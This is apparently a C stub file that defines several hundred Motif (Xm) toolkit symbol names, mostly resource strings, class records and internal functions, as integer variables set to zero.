int _XmSadjustMargin = 0;
int _XmSalignment = 0;
int _XmSallowOverlap = 0;
int _XmSallowResize = 0;
int _XmSanimationMask = 0;
int _XmSanimationPixmap = 0;
int _XmSanimationPixmapDepth = 0;
int _XmSanimationStyle = 0;
int _XmSapplyCallback = 0;
int _XmSapplyLabelString = 0;
int _XmSarmCallback = 0;
int _XmSarmColor = 0;
int _XmSarmPixmap = 0;
int _XmSarrowDirection = 0;
int xmSashClassRec = 0;
int _XmSash_defTranslations = 0;
int xmSashWidgetClass = 0;
int _XmSattachment = 0;
int _XmSaudibleWarning = 0;
int _XmSautomaticSelection = 0;
int _XmSautoShowCursorPosition = 0;
int _XmSautoUnmanage = 0;
int _XmSavailability = 0;
int _XmSaveCoreClassTranslations = 0;
int _XmSaveMenuProcContext = 0;
int _XmSblendModel = 0;
int _XmSblinkRate = 0;
int _XmSbottomAttachment = 0;
int _XmSbottomOffset = 0;
int _XmSbottomPosition = 0;
int _XmSbottomShadowColor = 0;
int _XmSbottomShadowPixmap = 0;
int _XmSbottomWidget = 0;
int _XmSbrowseSelectionCallback = 0;
int _XmSbuttonAccelerators = 0;
int _XmSbuttonAcceleratorText = 0;
int _XmSbuttonCount = 0;
int _XmSbuttonFontList = 0;
int _XmSbuttonMnemonicCharSets = 0;
int _XmSbuttonMnemonics = 0;
int _XmSbuttons = 0;
int _XmSbuttonSet = 0;
int _XmSbuttonType = 0;
int _XmSCAccelerator = 0;
int _XmSCAcceleratorText = 0;
int _XmSCAdjustLast = 0;
int _XmSCAdjustMargin = 0;
int xmScaleClassRec = 0;
int _XmScaleGetTitleString = 0;
int XmScaleGetValue = 0;
int XmScaleSetTicks = 0;
int XmScaleSetValue = 0;
int xmScaleWidgetClass = 0;
int _XmSCAlignment = 0;
int _XmSCAllowOverlap = 0;
int _XmScancelButton = 0;
int _XmScancelCallback = 0;
int _XmScancelLabelString = 0;
int _XmSCAnimationMask = 0;
int _XmSCAnimationPixmap = 0;
int _XmSCAnimationPixmapDepth = 0;
int _XmSCAnimationStyle = 0;
int _XmScanningCacheGet = 0;
int _XmScanningCacheSet = 0;
int _XmSCApplyLabelString = 0;
int _XmSCArmCallback = 0;
int _XmSCArmColor = 0;
int _XmSCArmPixmap = 0;
int _XmSCArrowDirection = 0;
int _XmScascadeButton = 0;
int _XmScascadePixmap = 0;
int _XmScascadingCallback = 0;
int _XmSCAtomList = 0;
int _XmSCAttachment = 0;
int _XmSCAudibleWarning = 0;
int _XmSCAutomaticSelection = 0;
int _XmSCAutoShowCursorPosition = 0;
int _XmSCAutoUnmanage = 0;
int _XmSCAvailability = 0;
int _XmSCBackgroundPixmap = 0;
int _XmSCBlendModel = 0;
int _XmSCBlinkRate = 0;
int _XmSCBooleanDimension = 0;
int _XmSCBottomShadowColor = 0;
int _XmSCBottomShadowPixmap = 0;
int _XmSCButtonAccelerators = 0;
int _XmSCButtonAcceleratorText = 0;
int _XmSCButtonCount = 0;
int _XmSCButtonFontList = 0;
int _XmSCButtonMnemonicCharSets = 0;
int _XmSCButtonMnemonics = 0;
int _XmSCButtons = 0;
int _XmSCButtonSet = 0;
int _XmSCButtonType = 0;
int _XmSCCallbackProc = 0;
int _XmSCCancelLabelString = 0;
int _XmSCChar = 0;
int _XmSCCharSetTable = 0;
int _XmSCChildHorizontalAlignment = 0;
int _XmSCChildHorizontalSpacing = 0;
int _XmSCChildPlacement = 0;
int _XmSCChildren = 0;
int _XmSCChildType = 0;
int _XmSCChildVerticalAlignment = 0;
int _XmSCClientData = 0;
int _XmSCClipWindow = 0;
int _XmSCColumns = 0;
int _XmSCCommandWindow = 0;
int _XmSCCommandWindowLocation = 0;
int _XmSCCompoundText = 0;
int _XmSCConvertProc = 0;
int _XmSCCursorBackground = 0;
int _XmSCCursorForeground = 0;
int _XmSCCursorPosition = 0;
int _XmSCCursorPositionVisible = 0;
int _XmSCDarkThreshold = 0;
int _XmSCDecimalPoints = 0;
int _XmSCDefaultButtonShadowThickness = 0;
int _XmSCDefaultButtonType = 0;
int _XmSCDefaultCopyCursorIcon = 0;
int _XmSCDefaultFontList = 0;
int _XmSCDefaultInvalidCursorIcon = 0;
int _XmSCDefaultLinkCursorIcon = 0;
int _XmSCDefaultMoveCursorIcon = 0;
int _XmSCDefaultNoneCursorIcon = 0;
int _XmSCDefaultPosition = 0;
int _XmSCDefaultSourceCursorIcon = 0;
int _XmSCDefaultValidCursorIcon = 0;
int _XmSCDeleteResponse = 0;
int _XmSCDesktopParent = 0;
int _XmSCDialogStyle = 0;
int _XmSCDialogTitle = 0;
int _XmSCDialogType = 0;
int _XmSCDirectory = 0;
int _XmSCDirectoryValid = 0;
int _XmSCDirListItemCount = 0;
int _XmSCDirListItems = 0;
int _XmSCDirListLabelString = 0;
int _XmSCDirMask = 0;
int _XmSCDirSearchProc = 0;
int _XmSCDirSpec = 0;
int _XmSCDisarmCallback = 0;
int _XmSCDoubleClickInterval = 0;
int _XmSCDragContextClass = 0;
int _XmSCDragDropFinishCallback = 0;
int _XmSCDragIconClass = 0;
int _XmSCDragInitiatorProtocolStyle = 0;
int _XmSCDragMotionCallback = 0;
int _XmSCDragOperations = 0;
int _XmSCDragOverMode = 0;
int _XmSCDragProc = 0;
int _XmSCDragReceiverProtocolStyle = 0;
int _XmSCDropProc = 0;
int _XmSCDropRectangles = 0;
int _XmSCDropSiteActivity = 0;
int _XmSCDropSiteEnterCallback = 0;
int _XmSCDropSiteLeaveCallback = 0;
int _XmSCDropSiteManagerClass = 0;
int _XmSCDropSiteOperations = 0;
int _XmSCDropSiteType = 0;
int _XmSCDropStartCallback = 0;
int _XmSCDropTransferClass = 0;
int _XmSCDropTransfers = 0;
int _XmSCEditable = 0;
int _XmSCEntryBorder = 0;
int _XmSCEntryClass = 0;
int _XmSCExportTargets = 0;
int _XmSCExposeCallback = 0;
int _XmSCExtensionType = 0;
int _XmSCFileListItemCount = 0;
int _XmSCFileListItems = 0;
int _XmSCFileListLabelString = 0;
int _XmSCFileSearchProc = 0;
int _XmSCFileTypeMask = 0;
int _XmSCFillOnArm = 0;
int _XmSCFillOnSelect = 0;
int _XmSCFilterLabelString = 0;
int _XmSCFontList = 0;
int _XmSCFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCForegroundThreshold = 0;
int _XmSCGadgetPixmap = 0;
int _XmScheckButton = 0;
int _XmSCHelpLabelString = 0;
int _XmSCHighlightColor = 0;
int _XmSCHighlightOnEnter = 0;
int _XmSCHighlightPixmap = 0;
int _XmSCHighlightThickness = 0;
int _XmSchildHorizontalAlignment = 0;
int _XmSchildHorizontalSpacing = 0;
int _XmSchildPlacement = 0;
int _XmSchildPosition = 0;
int _XmSchildType = 0;
int _XmSchildVerticalAlignment = 0;
int _XmSCHorizontalDimension = 0;
int _XmSCHorizontalFontUnit = 0;
int _XmSCHorizontalInt = 0;
int _XmSCHorizontalPosition = 0;
int _XmSCHorizontalScrollBar = 0;
int _XmSCHot = 0;
int _XmSCICCHandle = 0;
int _XmSCIconAttachment = 0;
int _XmSCImportTargets = 0;
int _XmSCIncrement = 0;
int _XmSCIncremental = 0;
int _XmSCIndicatorOn = 0;
int _XmSCIndicatorSize = 0;
int _XmSCIndicatorType = 0;
int _XmSCInitialDelay = 0;
int _XmSCInitialFocus = 0;
int _XmSCInputCreate = 0;
int _XmSCInputMethod = 0;
int _XmSCInvalidCursorForeground = 0;
int _XmSCIsAligned = 0;
int _XmSCIsHomogeneous = 0;
int _XmSCISO8859_DASH_1 = 0;
int _XmSCItemCount = 0;
int _XmSCItems = 0;
int _XmSCKeyboardFocusPolicy = 0;
int _XmSCKeySym = 0;
int _XmSCKeySymTable = 0;
int _XmSCLabelFontList = 0;
int _XmSCLabelInsensitivePixmap = 0;
int _XmSCLabelPixmap = 0;
int _XmSCLabelString = 0;
int _XmSCLabelType = 0;
int _XmSclientData = 0;
int _XmSCLightThreshold = 0;
int _XmSclipWindow = 0;
int _XmSCListLabelString = 0;
int _XmSCListMarginHeight = 0;
int _XmSCListMarginWidth = 0;
int _XmSCListSizePolicy = 0;
int _XmSCListSpacing = 0;
int _XmSCListUpdated = 0;
int _XmSCLogicalParent = 0;
int _XmSCMainWindowMarginHeight = 0;
int _XmSCMainWindowMarginWidth = 0;
int _XmSCManBottomShadowPixmap = 0;
int _XmSCManForegroundPixmap = 0;
int _XmSCManHighlightPixmap = 0;
int _XmSCManTopShadowPixmap = 0;
int _XmSCMappingDelay = 0;
int _XmSCMarginBottom = 0;
int _XmSCMarginHeight = 0;
int _XmSCMarginLeft = 0;
int _XmSCMarginRight = 0;
int _XmSCMarginTop = 0;
int _XmSCMarginWidth = 0;
int _XmSCMask = 0;
int _XmSCMaximum = 0;
int _XmSCMaxItems = 0;
int _XmSCMaxLength = 0;
int _XmSCMaxValue = 0;
int _XmSCMenuBar = 0;
int _XmSCMenuPost = 0;
int _XmSCMenuWidget = 0;
int _XmSCMessageProc = 0;
int _XmSCMessageWindow = 0;
int _XmSCMinimizeButtons = 0;
int _XmSCMinimum = 0;
int _XmSCMnemonic = 0;
int _XmSCMnemonicCharSet = 0;
int _XmSCMoveOpaque = 0;
int _XmSCMultiClick = 0;
int _XmSCMustMatch = 0;
int _XmSCMwmDecorations = 0;
int _XmSCMwmFunctions = 0;
int _XmSCMwmInputMode = 0;
int _XmSCMwmMenu = 0;
int _XmSCMwmMessages = 0;
int _XmSCNavigationType = 0;
int _XmSCNeedsMotion = 0;
int _XmSCNoMatchString = 0;
int _XmSCNoneCursorForeground = 0;
int _XmSCNoResize = 0;
int _XmSCNotifyProc = 0;
int _XmSCNumChildren = 0;
int _XmSCNumColumns = 0;
int _XmSCNumDropRectangles = 0;
int _XmSCNumDropTransfers = 0;
int _XmSCNumExportTargets = 0;
int _XmSCNumImportTargets = 0;
int _XmSCOffset = 0;
int _XmSCOkLabelString = 0;
int _XmScolumns = 0;
int _XmScommand = 0;
int _XmScommandChangedCallback = 0;
int _XmScommandEnteredCallback = 0;
int _XmScommandWindow = 0;
int _XmScommandWindowLocation = 0;
int _XmSconvertProc = 0;
int _XmSCOperationChangedCallback = 0;
int _XmSCOperationCursorIcon = 0;
int _XmSCOptionLabel = 0;
int _XmSCOptionMnemonic = 0;
int _XmSCOutputCreate = 0;
int _XmSCPacking = 0;
int _XmSCPageIncrement = 0;
int _XmSCPaneMaximum = 0;
int _XmSCPaneMinimum = 0;
int _XmSCPattern = 0;
int _XmSCPendingDelete = 0;
int _XmSCPopupEnabled = 0;
int _XmSCPositionIndex = 0;
int _XmSCPostFromButton = 0;
int _XmSCPostFromCount = 0;
int _XmSCPostFromList = 0;
int _XmSCPreeditType = 0;
int _XmSCPrimForegroundPixmap = 0;
int _XmSCProc = 0;
int _XmSCProcessingDirection = 0;
int _XmSCPromptString = 0;
int _XmSCProtocolCallback = 0;
int _XmSCPushButtonEnabled = 0;
int _XmSCQualifySearchDataProc = 0;
int _XmSCRadioAlwaysOne = 0;
int _XmSCRadioBehavior = 0;
int _XmSCRecomputeSize = 0;
int _XmSCRectangleList = 0;
int _XmSCRectangles = 0;
int xmScreenClass = 0;
int xmScreenClassRec = 0;
int _XmScreenGetOperationIcon = 0;
int _XmScreenGetSourceIcon = 0;
int _XmScreenGetStateIcon = 0;
int xmScreenObjectClass = 0;
int _XmScreenRemoveFromCursorCache = 0;
int _XmSCRepeatDelay = 0;
int _XmSCResizeCallback = 0;
int _XmSCResizeHeight = 0;
int _XmSCResizePolicy = 0;
int _XmSCResizeWidth = 0;
int xmScrollBarClassRec = 0;
int _XmScrollBar_defaultTranslations = 0;
int XmScrollBarGetValues = 0;
int XmScrollBarSetValues = 0;
int xmScrollBarWidgetClass = 0;
int xmScrolledWindowClassRec = 0;
int XmScrolledWindowSetAreas = 0;
int xmScrolledWindowWidgetClass = 0;
int _XmScrolledW_ScrolledWindowXlations = 0;
int XmScrollVisible = 0;
int _XmSCRowColumnType = 0;
int _XmSCRows = 0;
int _XmSCRubberPositioning = 0;
int _XmSCSashHeight = 0;
int _XmSCSashIndent = 0;
int _XmSCSashWidth = 0;
int _XmSCScaleHeight = 0;
int _XmSCScaleMultiple = 0;
int _XmSCScaleWidth = 0;
int _XmSCScroll = 0;
int _XmSCScrollBarDisplayPolicy = 0;
int _XmSCScrollBarPlacement = 0;
int _XmSCScrolledWindowMarginHeight = 0;
int _XmSCScrolledWindowMarginWidth = 0;
int _XmSCScrollingPolicy = 0;
int _XmSCScrollSide = 0;
int _XmSCSelectColor = 0;
int _XmSCSelectedItemCount = 0;
int _XmSCSelectedItems = 0;
int _XmSCSelectInsensitivePixmap = 0;
int _XmSCSelectionArrayCount = 0;
int _XmSCSelectionLabelString = 0;
int _XmSCSelectionPolicy = 0;
int _XmSCSelectionType = 0;
int _XmSCSelectPixmap = 0;
int _XmSCSelectThreshold = 0;
int _XmSCSeparatorOn = 0;
int _XmSCSeparatorType = 0;
int _XmSCSet = 0;
int _XmSCShadowThickness = 0;
int _XmSCShadowType = 0;
int _XmSCShellHorizDim = 0;
int _XmSCShellHorizPos = 0;
int _XmSCShellUnitType = 0;
int _XmSCShellVertDim = 0;
int _XmSCShellVertPos = 0;
int _XmSCShowArrows = 0;
int _XmSCShowAsDefault = 0;
int _XmSCShowSeparator = 0;
int _XmSCShowValue = 0;
int _XmSCSimpleCheckBox = 0;
int _XmSCSimpleMenuBar = 0;
int _XmSCSimpleOptionMenu = 0;
int _XmSCSimplePopupMenu = 0;
int _XmSCSimplePulldownMenu = 0;
int _XmSCSimpleRadioBox = 0;
int _XmSCSizePolicy = 0;
int _XmSCSliderSize = 0;
int _XmSCSource = 0;
int _XmSCSourceCursorIcon = 0;
int _XmSCSourceIsExternal = 0;
int _XmSCSourcePixmapIcon = 0;
int _XmSCSourceWidget = 0;
int _XmSCSourceWindow = 0;
int _XmSCSpacing = 0;
int _XmSCStartTime = 0;
int _XmSCStateCursorIcon = 0;
int _XmSCStringDirection = 0;
int _XmSCTearOffModel = 0;
int _XmSCTextFontList = 0;
int _XmSCTextString = 0;
int _XmSCTextValue = 0;
int _XmSCTitleString = 0;
int _XmSCTopCharacter = 0;
int _XmSCTopItemPosition = 0;
int _XmSCTopLevelEnterCallback = 0;
int _XmSCTopLevelLeaveCallback = 0;
int _XmSCTopShadowColor = 0;
int _XmSCTopShadowPixmap = 0;
int _XmSCTransferProc = 0;
int _XmSCTransferStatus = 0;
int _XmSCTraversalOn = 0;
int _XmSCTraversalType = 0;
int _XmSCTreeUpdateProc = 0;
int _XmSCTroughColor = 0;
int _XmSCUnitType = 0;
int _XmSCUnpostBehavior = 0;
int _XmSCUnselectPixmap = 0;
int _XmSCUpdateSliderSize = 0;
int _XmScursorBackground = 0;
int _XmScursorForeground = 0;
int _XmScursorPosition = 0;
int _XmScursorPositionVisible = 0;
int _XmSCUseAsyncGeometry = 0;
int _XmSCUserData = 0;
int _XmSCValidCursorForeground = 0;
int _XmSCValueChangedCallback = 0;
int _XmSCValueWcs = 0;
int _XmSCVerifyBell = 0;
int _XmSCVerticalAlignment = 0;
int _XmSCVerticalDimension = 0;
int _XmSCVerticalFontUnit = 0;
int _XmSCVerticalInt = 0;
int _XmSCVerticalPosition = 0;
int _XmSCVerticalScrollBar = 0;
int _XmSCVirtualBinding = 0;
int _XmSCVisibleItemCount = 0;
int _XmSCVisibleWhenOff = 0;
int _XmSCVisualPolicy = 0;
int _XmSCWhichButton = 0;
int _XmSCWordWrap = 0;
int _XmSCWorkWindow = 0;
int _XmSCXmBackgroundPixmap = 0;
int _XmSCXmFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCXmString = 0;
int _XmSCXmStringCharSet = 0;
int _XmSCXmStringTable = 0;
int _XmSdarkThreshold = 0;
int _XmSdecimalPoints = 0;
int _XmSdecrementCallback = 0;
int _XmSdefaultActionCallback = 0;
int _XmSDEFAULT_BACKGROUND = 0;
int _XmSdefaultButton = 0;
int _XmSdefaultButtonShadowThickness = 0;
int _XmSdefaultButtonType = 0;
int _XmSdefaultCopyCursorIcon = 0;
int _XmSDEFAULT_FONT = 0;
int _XmSdefaultFontList = 0;
int _XmSdefaultInvalidCursorIcon = 0;
int _XmSdefaultLinkCursorIcon = 0;
int _XmSdefaultMoveCursorIcon = 0;
int _XmSdefaultNoneCursorIcon = 0;
int _XmSdefaultPosition = 0;
int _XmSdefaultSourceCursorIcon = 0;
int _XmSdefaultValidCursorIcon = 0;
int _XmSdeleteResponse = 0;
int _XmSdesktopParent = 0;
int _XmSdialogStyle = 0;
int _XmSdialogTitle = 0;
int _XmSdialogType = 0;
int _XmSdirectory = 0;
int _XmSdirectoryValid = 0;
int _XmSdirListItemCount = 0;
int _XmSdirListItems = 0;
int _XmSdirListLabelString = 0;
int _XmSdirMask = 0;
int _XmSdirSearchProc = 0;
int _XmSdirSpec = 0;
int _XmSdisarmCallback = 0;
int _XmSdoubleClickInterval = 0;
int _XmSdoubleSeparator = 0;
int _XmSdragCallback = 0;
int _XmSdragContextClass = 0;
int _XmSdragDropFinishCallback = 0;
int _XmSdragIconClass = 0;
int _XmSdragInitiatorProtocolStyle = 0;
int _XmSdragMotionCallback = 0;
int _XmSdragOperations = 0;
int _XmSdragOverMode = 0;
int _XmSdragProc = 0;
int _XmSdragReceiverProtocolStyle = 0;
int _XmSdropFinishCallback = 0;
int _XmSdropProc = 0;
int _XmSdropRectangles = 0;
int _XmSdropSiteActivity = 0;
int _XmSdropSiteEnterCallback = 0;
int _XmSdropSiteLeaveCallback = 0;
int _XmSdropSiteManagerClass = 0;
int _XmSdropSiteOperations = 0;
int _XmSdropSiteType = 0;
int _XmSdropStartCallback = 0;
int _XmSdropTransferClass = 0;
int _XmSdropTransfers = 0;
int _XmSearchColorCache = 0;
int _XmSecondaryResourceData = 0;
int _XmSeditable = 0;
int _XmSeditMode = 0;
int _XmSelectColorDefault = 0;
int _XmSelectioB_defaultTextAccelerators = 0;
int xmSelectionBoxClassRec = 0;
int _XmSelectionBoxCreateApplyButton = 0;
int _XmSelectionBoxCreateCancelButton = 0;
int _XmSelectionBoxCreateHelpButton = 0;
int _XmSelectionBoxCreateList = 0;
int _XmSelectionBoxCreateListLabel = 0;
int _XmSelectionBoxCreateOkButton = 0;
int _XmSelectionBoxCreateSelectionLabel = 0;
int _XmSelectionBoxCreateSeparator = 0;
int _XmSelectionBoxCreateText = 0;
int _XmSelectionBoxGeoMatrixCreate = 0;
int _XmSelectionBoxGetApplyLabelString = 0;
int _XmSelectionBoxGetCancelLabelString = 0;
int XmSelectionBoxGetChild = 0;
int _XmSelectionBoxGetHelpLabelString = 0;
int _XmSelectionBoxGetListItemCount = 0;
int _XmSelectionBoxGetListItems = 0;
int _XmSelectionBoxGetListLabelString = 0;
int _XmSelectionBoxGetListVisibleItemCount = 0;
int _XmSelectionBoxGetOkLabelString = 0;
int _XmSelectionBoxGetSelectionLabelString = 0;
int _XmSelectionBoxGetTextColumns = 0;
int _XmSelectionBoxGetTextString = 0;
int _XmSelectionBoxNoGeoRequest = 0;
int _XmSelectionBoxRestore = 0;
int _XmSelectionBoxUpOrDown = 0;
int xmSelectionBoxWidgetClass = 0;
int _XmSEMPTY_STRING = 0;
int _XmSendICCCallback = 0;
int _XmSentryAlignment = 0;
int _XmSentryBorder = 0;
int _XmSentryCallback = 0;
int _XmSentryClass = 0;
int _XmSentryVerticalAlignment = 0;
int _XmSeparatorCacheCompare = 0;
int xmSeparatorClassRec = 0;
int _XmSeparatorFix = 0;
int xmSeparatorGadgetClass = 0;
int xmSeparatorGadgetClassRec = 0;
int xmSeparatorGCacheObjClassRec = 0;
int xmSeparatorWidgetClass = 0;
int _XmSetActiveTabGroup = 0;
int _XmSetActualClass = 0;
int XmSetColorCalculation = 0;
int _XmSetDefaultBackgroundColorSpec = 0;
int _XmSetDestination = 0;
int _XmSetDragReceiverInfo = 0;
int _XmSetEtchedSlider = 0;
int _XmSetFocusFlag = 0;
int _XmSetFocusResetFlag = 0;
int XmSetFontUnit = 0;
int XmSetFontUnits = 0;
int _XmSetInDragMode = 0;
int _XmSetInitialOfTabGraph = 0;
int _XmSetInitialOfTabGroup = 0;
int _XmSetKidGeo = 0;
int _XmSetLastManagedMenuTime = 0;
int XmSetMenuCursor = 0;
int _XmSetMenuTraversal = 0;
int _XmSetPopupMenuClick = 0;
int XmSetProtocolHooks = 0;
int _XmSetRect = 0;
int _XmSetSwallowEventHandler = 0;
int _XmSetThickness = 0;
int _XmSetThicknessDefault0 = 0;
int XmSetToolTipString = 0;
int _XmSetTransientFlag = 0;
int _XmSetValuesOnChildren = 0;
int _XmSetXmDisplayClass = 0;
int _XmSexportTargets = 0;
int _XmSexposeCallback = 0;
int _XmSextendedSelectionCallback = 0;
int _XmSextensionType = 0;
int _XmSFAddNavigator = 0;
int _XmSfileListItemCount = 0;
int _XmSfileListItems = 0;
int _XmSfileListLabelString = 0;
int _XmSfileSearchProc = 0;
int _XmSfileTypeMask = 0;
int _XmSfillOnArm = 0;
int _XmSfillOnSelect = 0;
int _XmSfilterLabelString = 0;
int _XmSfocusCallback = 0;
int _XmSfocusMovedCallback = 0;
int _XmSfocusPolicyChanged = 0;
int _XmSfontList = 0;
int _XmSforegroundThreshold = 0;
int _XmSfractionBase = 0;
int _XmSFRemoveNavigator = 0;
int _XmSFUpdateNavigatorsValue = 0;
int _XmSgainPrimaryCallback = 0;
int xmShellExtClassRec = 0;
int xmShellExtObjectClass = 0;
int _XmShellIsExclusive = 0;
int _XmShelpCallback = 0;
int _XmShelpLabelString = 0;
int _XmShighlightColor = 0;
int _XmShighlightOnEnter = 0;
int _XmShighlightPixmap = 0;
int _XmShighlightThickness = 0;
int _XmShistoryItemCount = 0;
int _XmShistoryItems = 0;
int _XmShistoryMaxItems = 0;
int _XmShistoryVisibleItemCount = 0;
int _XmShorizontalFontUnit = 0;
int _XmShorizontalScrollBar = 0;
int _XmShorizontalSpacing = 0;
int _XmShotX = 0;
int _XmShotY = 0;
int _XmSiccHandle = 0;
int XmSimpleSpinBoxAddItem = 0;
int xmSimpleSpinBoxClassRec = 0;
int XmSimpleSpinBoxDeletePos = 0;
int XmSimpleSpinBoxSetItem = 0;
int xmSimpleSpinBoxWidgetClass = 0;
int _XmSimportTargets = 0;
int _XmSincrement = 0;
int _XmSincremental = 0;
int _XmSincrementCallback = 0;
int _XmSindicatorOn = 0;
int _XmSindicatorSize = 0;
int _XmSindicatorType = 0;
int _XmSinitialDelay = 0;
int _XmSinitialFocus = 0;
int _XmSinputCallback = 0;
int _XmSinputCreate = 0;
int _XmSinputMethod = 0;
int _XmSinvalidCursorForeground = 0;
int _XmSisAligned = 0;
int _XmSisHomogeneous = 0;
int _XmSitemCount = 0;
int _XmSitems = 0;
int _XmSkeyboardFocusPolicy = 0;
int _XmSlabelFontList = 0;
int _XmSlabelInsensitivePixmap = 0;
int _XmSlabelPixmap = 0;
int _XmSlabelString = 0;
int _XmSlabelType = 0;
int _XmSleep = 0;
int _XmSleftAttachment = 0;
int _XmSleftOffset = 0;
int _XmSleftPosition = 0;
int _XmSleftWidget = 0;
int xmSlideContextClassRec = 0;
int xmSlideContextWidgetClass = 0;
int _XmSlightThreshold = 0;
int _XmSlistItemCount = 0;
int _XmSlistItems = 0;
int _XmSlistLabelString = 0;
int _XmSlistMarginHeight = 0;
int _XmSlistMarginWidth = 0;
int _XmSlistSizePolicy = 0;
int _XmSlistSpacing = 0;
int _XmSlistUpdated = 0;
int _XmSlistVisibleItemCount = 0;
int _XmSlogicalParent = 0;
int _XmSlosePrimaryCallback = 0;
int _XmSlosingFocusCallback = 0;
int _XmSmainWindowMarginHeight = 0;
int _XmSmainWindowMarginWidth = 0;
int _XmSmapCallback = 0;
int _XmSmappingDelay = 0;
int _XmSmargin = 0;
int _XmSmarginBottom = 0;
int _XmSmarginHeight = 0;
int _XmSmarginLeft = 0;
int _XmSmarginRight = 0;
int _XmSmarginTop = 0;
int _XmSmarginWidth = 0;
int _XmSmask = 0;
int _XmSmaximum = 0;
int _XmSmaxLength = 0;
int _XmSmenuAccelerator = 0;
int _XmSmenuBar = 0;
int _XmSmenuCursor = 0;
int _XmSmenuHelpWidget = 0;
int _XmSmenuHistory = 0;
int _XmSmenuPost = 0;
int _XmSmessageAlignment = 0;
int _XmSmessageProc = 0;
int _XmSmessageString = 0;
int _XmSmessageWindow = 0;
int _XmSminimizeButtons = 0;
int _XmSminimum = 0;
int _XmSmnemonic = 0;
int _XmSmnemonicCharSet = 0;
int _XmSmodifyVerifyCallback = 0;
int _XmSmodifyVerifyCallbackWcs = 0;
int _XmSmotionVerifyCallback = 0;
int _XmSmoveOpaque = 0;
int _XmSmultiClick = 0;
int _XmSmultipleSelectionCallback = 0;
int _XmSmustMatch = 0;
int _XmSmwmDecorations = 0;
int _XmSmwmFunctions = 0;
int _XmSmwmInputMode = 0;
int _XmSmwmMenu = 0;
int _XmSmwmMessages = 0;
int _XmSnavigationType = 0;
int _XmSneedsMotion = 0;
int _XmSnoMatchCallback = 0;
int _XmSnoMatchString = 0;
int _XmSnoneCursorForeground = 0;
int _XmSnoResize = 0;
int _XmSnotifyProc = 0;
int _XmSnumColumns = 0;
int _XmSnumDropRectangles = 0;
int _XmSnumDropTransfers = 0;
int _XmSnumExportTargets = 0;
int _XmSnumImportTargets = 0;
int _XmSnumRectangles = 0;
int _XmSocorro = 0;
int _XmSoffsetX = 0;
int _XmSoffsetY = 0;
int _XmSokCallback = 0;
int _XmSokLabelString = 0;
int _XmSoperationChangedCallback = 0;
int _XmSoperationCursorIcon = 0;
int _XmSoptionLabel = 0;
int _XmSoptionMnemonic = 0;
int _XmSortResourceList = 0;
int _XmSosfActivate = 0;
int _XmSosfAddMode = 0;
int _XmSosfBackSpace = 0;
int _XmSosfBeginLine = 0;
int _XmSosfCancel = 0;
int _XmSosfClear = 0;
int _XmSosfCopy = 0;
int _XmSosfCut = 0;
int _XmSosfDelete = 0;
int _XmSosfDown = 0;
int _XmSosfEndLine = 0;
int _XmSosfHelp = 0;
int _XmSosfInsert = 0;
int _XmSosfLeft = 0;
int _XmSosfMenu = 0;
int _XmSosfMenuBar = 0;
int _XmSosfPageDown = 0;
int _XmSosfPageLeft = 0;
int _XmSosfPageRight = 0;
int _XmSosfPageUp = 0;
int _XmSosfPaste = 0;
int _XmSosfPrimaryPaste = 0;
int _XmSosfQuickPaste = 0;
int _XmSosfRight = 0;
int _XmSosfSelect = 0;
int _XmSosfUndo = 0;
int _XmSosfUp = 0;
int _XmSoutputCreate = 0;
int _XmSpacking = 0;
int _XmSpageDecrementCallback = 0;
int _XmSpageIncrement = 0;
int _XmSpageIncrementCallback = 0;
int _XmSpaneMaximum = 0;
int _XmSpaneMinimum = 0;
int _XmSpattern = 0;
int _XmSpendingDelete = 0;
int _XmSpinB_defaultAccelerators = 0;
int _XmSpinB_defaultTranslations = 0;
int xmSpinBoxClassRec = 0;
int XmSpinBoxValidatePosition = 0;
int xmSpinBoxWidgetClass = 0;
int _XmSpopupEnabled = 0;
int _XmSpositionIndex = 0;
int _XmSpostFromButton = 0;
int _XmSpostFromCount = 0;
int _XmSpostFromList = 0;
int _XmSpreeditType = 0;
int _XmSprocessingDirection = 0;
int _XmSpromptString = 0;
int _XmSprotocolCallback = 0;
int _XmSpushButton = 0;
int _XmSpushButtonEnabled = 0;
int _XmSqualifySearchDataProc = 0;
int _XmSradioAlwaysOne = 0;
int _XmSradioBehavior = 0;
int _XmSradioButton = 0;
int _XmSrealizeCallback = 0;
int _XmSrecomputeSize = 0;
int _XmSrectangles = 0;
int _XmSrefigureMode = 0;
int _XmSrepeatDelay = 0;
int _XmSresizable = 0;
int _XmSresizeCallback = 0;
int _XmSresizeHeight = 0;
int _XmSresizePolicy = 0;
int _XmSresizeWidth = 0;
int _XmSrightAttachment = 0;
int _XmSrightOffset = 0;
int _XmSrightPosition = 0;
int _XmSrightWidget = 0;
int _XmSrowColumnType = 0;
int _XmSrows = 0;
int _XmSrubberPositioning = 0;
int _XmSsashHeight = 0;
int _XmSsashIndent = 0;
int _XmSsashShadowThickness = 0;
int _XmSsashWidth = 0;
int _XmSscaleHeight = 0;
int _XmSscaleMultiple = 0;
int _XmSscaleWidth = 0;
int _XmSscrollBarDisplayPolicy = 0;
int _XmSscrollBarPlacement = 0;
int _XmSscrolledWindowMarginHeight = 0;
int _XmSscrolledWindowMarginWidth = 0;
int _XmSscrollHorizontal = 0;
int _XmSscrollingPolicy = 0;
int _XmSscrollLeftSide = 0;
int _XmSscrollTopSide = 0;
int _XmSscrollVertical = 0;
int _XmSselectColor = 0;
int _XmSselectedItemCount = 0;
int _XmSselectedItems = 0;
int _XmSselectInsensitivePixmap = 0;
int _XmSselectionArrayCount = 0;
int _XmSselectionLabelString = 0;
int _XmSselectionPolicy = 0;
int _XmSselectPixmap = 0;
int _XmSselectThreshold = 0;
int _XmSseparator = 0;
int _XmSseparatorOn = 0;
int _XmSseparatorType = 0;
int _XmSset = 0;
int _XmSshadow = 0;
int _XmSshadowThickness = 0;
int _XmSshadowType = 0;
int _XmSshellUnitType = 0;
int _XmSshowArrows = 0;
int _XmSshowAsDefault = 0;
int _XmSshowSeparator = 0;
int _XmSshowValue = 0;
int _XmSsimpleCallback = 0;
int _XmSsingleSelectionCallback = 0;
int _XmSsingleSeparator = 0;
int _XmSsizePolicy = 0;
int _XmSskipAdjust = 0;
int _XmSsliderSize = 0;
int _XmSsource = 0;
int _XmSsourceCursorIcon = 0;
int _XmSsourceIsExternal = 0;
int _XmSsourcePixmapIcon = 0;
int _XmSsourceWidget = 0;
int _XmSsourceWindow = 0;
int _XmSspacing = 0;
int _XmSstartTime = 0;
int _XmSstateCursorIcon = 0;
int _XmSstringDirection = 0;
int _XmSsubMenuId = 0;
